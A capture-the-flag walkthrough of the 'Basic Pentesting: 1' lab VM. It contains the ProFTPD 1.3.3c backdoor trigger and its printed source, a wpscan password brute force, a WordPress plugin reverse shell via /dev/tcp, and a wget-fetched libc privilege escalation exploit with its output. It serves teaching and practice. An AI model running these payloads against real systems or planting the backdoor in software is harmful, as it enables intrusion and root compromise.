Official website: Basic Pentesting: 1

VM Network Setup: Host Only (192.168.56.102)

Table of Contents

  1. Nmap Port Scan
  2. Method 01: ProFTPD 1.3.3c backdoor
    1. How did this happen?
    2. Similar vulnerability
  3. Method 02: Web Server
    1. Get admin
    2. Get shell
    3. Get root

Nmap Port Scan

1
2
3
4
PORT   STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.3c
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

Method 01: ProFTPD 1.3.3c backdoor

It’s really easy to know that proftpd 1.3.3c has an official backdoor by googling this specific version. The exploit is super simple, just send the command HELP ACIDBITCHEZ and you’ll get a root shell lol.

1
2
3
4
5
$ nc 192.168.56.102 21
220 ProFTPD 1.3.3c Server (vtcsec) [192.168.56.102]
HELP ACIDBITCHEZ
id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)

How did this happen?

Since it’s so easy to get a root shell, let’s shift focus to source code analysis. You can find the backdoored version of proftpd 1.3.3c source code on the internet but not on the official FTP site.

First of all, line 5089 in modules/mode_core.c, core_cmdtab stored all commands including C_HELP.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
static cmdtable core_cmdtab[] = {
#if defined(HAVE_REGEX_H) && defined(HAVE_REGCOMP)
{ PRE_CMD, C_ANY, G_NONE, regex_filters, FALSE, FALSE, CL_NONE },
#endif
{ PRE_CMD, C_ANY, G_NONE, core_clear_fs,FALSE, FALSE, CL_NONE },
{ CMD, C_HELP, G_NONE, core_help, FALSE, FALSE, CL_INFO },
{ CMD, C_PORT, G_NONE, core_port, TRUE, FALSE, CL_MISC },
{ CMD, C_PASV, G_NONE, core_pasv, TRUE, FALSE, CL_MISC },
{ CMD, C_EPRT, G_NONE, core_eprt, TRUE, FALSE, CL_MISC },
{ CMD, C_EPSV, G_NONE, core_epsv, TRUE, FALSE, CL_MISC },
{ CMD, C_SYST, G_NONE, core_syst, FALSE, FALSE, CL_INFO },
{ CMD, C_PWD, G_DIRS, core_pwd, TRUE, FALSE, CL_INFO|CL_DIRS },
{ CMD, C_XPWD, G_DIRS, core_pwd, TRUE, FALSE, CL_INFO|CL_DIRS },
{ CMD, C_CWD, G_DIRS, core_cwd, TRUE, FALSE, CL_DIRS },
{ CMD, C_XCWD, G_DIRS, core_cwd, TRUE, FALSE, CL_DIRS },
{ CMD, C_MKD, G_WRITE, core_mkd, TRUE, FALSE, CL_DIRS|CL_WRITE },
{ CMD, C_XMKD, G_WRITE, core_mkd, TRUE, FALSE, CL_DIRS|CL_WRITE },
{ CMD, C_RMD, G_WRITE, core_rmd, TRUE, FALSE, CL_DIRS|CL_WRITE },
{ CMD, C_XRMD, G_WRITE, core_rmd, TRUE, FALSE, CL_DIRS|CL_WRITE },
{ CMD, C_CDUP, G_DIRS, core_cdup, TRUE, FALSE, CL_DIRS },
{ CMD, C_XCUP, G_DIRS, core_cdup, TRUE, FALSE, CL_DIRS },
{ CMD, C_DELE, G_WRITE, core_dele, TRUE, FALSE, CL_WRITE },
{ CMD, C_MDTM, G_DIRS, core_mdtm, TRUE, FALSE, CL_INFO },
{ CMD, C_RNFR, G_DIRS, core_rnfr, TRUE, FALSE, CL_MISC|CL_WRITE },
{ CMD, C_RNTO, G_WRITE, core_rnto, TRUE, FALSE, CL_MISC|CL_WRITE },
{ LOG_CMD, C_RNTO, G_NONE, core_rnto_cleanup, TRUE, FALSE, CL_NONE },
{ LOG_CMD_ERR, C_RNTO, G_NONE, core_rnto_cleanup, TRUE, FALSE, CL_NONE },
{ CMD, C_SIZE, G_READ, core_size, TRUE, FALSE, CL_INFO },
{ CMD, C_QUIT, G_NONE, core_quit, FALSE, FALSE, CL_INFO },
{ LOG_CMD, C_QUIT, G_NONE, core_log_quit, FALSE, FALSE },
{ LOG_CMD_ERR, C_QUIT, G_NONE, core_log_quit, FALSE, FALSE },
{ CMD, C_NOOP, G_NONE, core_noop, FALSE, FALSE, CL_MISC },
{ CMD, C_FEAT, G_NONE, core_feat, FALSE, FALSE, CL_INFO },
{ CMD, C_OPTS, G_NONE, core_opts, FALSE, FALSE, CL_MISC },
{ POST_CMD, C_PASS, G_NONE, core_post_pass, FALSE, FALSE },
{ 0, NULL }
};

C_HELP is defined in include/ftp.h line 78, confirmed that we find the correct way.

1
#define C_HELP	"HELP"		/* Help */

Next, we followed core_help function to modules/mod_core.c line 3708.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
MODRET core_help(cmd_rec *cmd) {

if (cmd->argc == 1) {
pr_help_add_response(cmd, NULL);

} else {
char *cp;

for (cp = cmd->argv[1]; *cp; cp++)
*cp = toupper(*cp);

if (strcasecmp(cmd->argv[1], "SITE") == 0)
return pr_module_call(&site_module, site_dispatch, cmd);

if (pr_help_add_response(cmd, cmd->argv[1]) == 0)
return PR_HANDLED(cmd);

pr_response_add_err(R_502, _("Unknown command '%s'"), cmd->argv[1]);
return PR_ERROR(cmd);
}

return PR_HANDLED(cmd);
}

core_help function is deal with HELP command. Our HELP command come with argv, it should be continue to pr_help_add_response(cmd, cmd->argv[1]) == 0 at line 3722.

Followed to src/help.c at line 80.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
int pr_help_add_response(cmd_rec *cmd, const char *target) {
if (help_list) {
register unsigned int i;
struct help_rec *helps = help_list->elts;
char *outa[8], *outstr;
char buf[9] = {'\0'};
int col = 0;

if (!target) {
pr_response_add(R_214,
_("The following commands are recognized (* =>'s unimplemented):"));

memset(outa, '\0', sizeof(outa));

for (i = 0; i < help_list->nelts; i++) {
outstr = "";

if (helps[i].impl)
outa[col++] = (char *) helps[i].cmd;
else
outa[col++] = pstrcat(cmd->tmp_pool, helps[i].cmd, "*", NULL);

/* 8 rows */
if ((i + 1) % 8 == 0 ||
helps[i+1].cmd == NULL) {
register unsigned int j;

for (j = 0; j < 8; j++) {
if (outa[j]) {
snprintf(buf, sizeof(buf), "%-8s", outa[j]);
buf[sizeof(buf)-1] = '\0';
outstr = pstrcat(cmd->tmp_pool, outstr, buf, NULL);

} else
break;
}

if (*outstr)
pr_response_add(R_DUP, "%s", outstr);

memset(outa, '\0', sizeof(outa));
col = 0;
outstr = "";
}
}

pr_response_add(R_DUP, _("Direct comments to %s"),
cmd->server->ServerAdmin ? cmd->server->ServerAdmin : "ftp-admin");

} else {

if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }
/* List the syntax for the given target command. */
for (i = 0; i < help_list->nelts; i++) {
if (strcasecmp(helps[i].cmd, target) == 0) {
pr_response_add(R_214, "Syntax: %s %s", helps[i].cmd,
helps[i].syntax);
return 0;
}
}
}

errno = ENOENT;
return -1;
}

errno = ENOENT;
return -1;
}

Now we finally find the backdoor! Since we called pr_help_add_response function with char *target, it will pass if condiction and go to else part. That’s it. There is a very strange line of code at line 131.

1
if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }

If the target is ACIDBITCHEZ, it will execute a root shell!

Similar vulnerability

This reminds me of another, very similar vulnerability: vsfptd v2.3.4 Backdoor Command Execution.
It’s also an open source FTP server containing backdoor at v2.3.4. When any FTP username end with :), vsftpd will start a shell and listen to port 6200 no matter the password is correct or not.

Method 02: Web Server

The VM also open port 80 with Apache httpd service, but the index is just the default page so I start my routine work to pentest this website.

First, I use dirb to scan the URL and found the secret folder. It’s actually a WordPress page but its static files seems not correctly loaded.

host

It’s easy to solve this problem. Just modify your host computer’s /etc/hosts file and add your VM’s ip in the file. For example, my VM’s ip is 192.168.56.102, add 192.168.56.102 vtcsec to the file and save it. Force reload the web page and you should see the full page completely.

Get admin

Back to our challenge, now we know that this is a default WordPress site. Maybe we can try brute force attack to crack the admin’s password. Using wpscan we can easily scan WordPress site and brute force attack to enumerate password. You can find some wordlists from SecLists.

1
$ wpscan --url http://192.168.56.102/secret --username admin --wordlist 10-million-password-list-top-10000.txt

The result admin’s password is admin orz…
Never mind, now we can access the admin control panel.

Get shell

Since we have the admin privilege, we can control this WordPress site including upload custom plugin.

WordPress allow user to install plugin from WordPress Plugin Directory or upload custom plugin in .zip format. We can build our own plugin and install it to get the web shell.

Here is a simple PHP reverse shell in WordPress Plugin format:

1
2
3
4
5
6
7
8
<?php
/*
* Plugin Name: MyWebshell
* Description: A simple webshell.
* Version: 1.0
*/
exec("/bin/bash -c 'bash -i >& /dev/tcp/[REVERSE_HOST_IP]/[LISTENED_PORT] 0>&1'");
?>

Compress this PHP file to a zip file. You can now upload and install this “reverse shell” plugin. All WordPress plugin can be access at /wp-contents/plugins/[PLUGIN_NAME]/[FILE_NAME].

Just start a listening port, you can browse the plugin file you uploaded before and wait for reverse shell coming.

1
2
3
4
5
6
7
8
9
$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.56.104] from (UNKNOWN) [192.168.56.102] 35928
bash: cannot set terminal process group (1223): Inappropriate ioctl for device
bash: no job control in this shell
www-data@vtcsec:/var/www/html/secret/wp-admin$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@vtcsec:/var/www/html/secret/wp-admin$

Get root

Now we have a reverse shell, but the user is www-data, we want root! Let’s try local privilege escalation attack.

First, I used this script GitHub - mzet-/linux-exploit-suggester: Linux privilege escalation auditing tool to search if there is any useful local privilege escalatiopn exploit exist or not.

The result give me a list of some possible exploits, I choose a latest one: Libc Realpath Buffer Underflow.
My victim VM and attack VM (Kali Linux) are both in the same Host Only Network. I start a simple python HTTP server on Kali so I can use wget to download exploit code from victim VM and compile it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(Kali) $ python -m SimpleHTTPServer 80

(Victim) $ cd /tmp && wget http://[KALI_IP]/exploit.c
(Victim) $ gcc exploit.c -o exploit
(Victim) $ chmod +x exploit && ./exploit
./exploit
./exploit: setting up environment ...
Detected OS version: "16.04.3 LTS (Xenial Xerus)"
./exploit: using umount at "/bin/umount".
No pid supplied via command line, trying to create a namespace
CAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.
Namespaced filesystem created with pid 2874
Attempting to gain root, try 1 of 10 ...
Starting subprocess
Stack content received, calculating next phase
Found source address location 0x7ffe47de78e8 pointing to target address 0x7ffe47de79b8 with value 0x7ffe47de9221, libc offset is 0x7ffe47de78d8
Changing return address from 0x7f4b1c234830 to 0x7f4b1c2d3e00, 0x7f4b1c2e0a20
Using escalation string %69$hn%73$hn%1$2592.2592s%70$hn%1$4621.4621s%67$hn%1$1.1s%71$hn%1$8658.8658s%66$hn%1$16715.16715s%68$hn%72$hn%1$32949.32949s%1$30918.30918s%1$s%1$s%65$hn%1$s%1$s%1$s%1$s%1$s%1$s%1$186.186s%39$hn-%35$lx-%39$lx-%64$lx-%65$lx-%66$lx-%67$lx-%68$lx-%69$lx-%70$lx-%71$lx-%78$s
Executable now root-owned
Cleanup completed, re-invoking binary
/proc/self/exe: invoked as SUID, invoking shell ...
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

That is! Now you can do whatever you want for example change root password, create a new user or something else.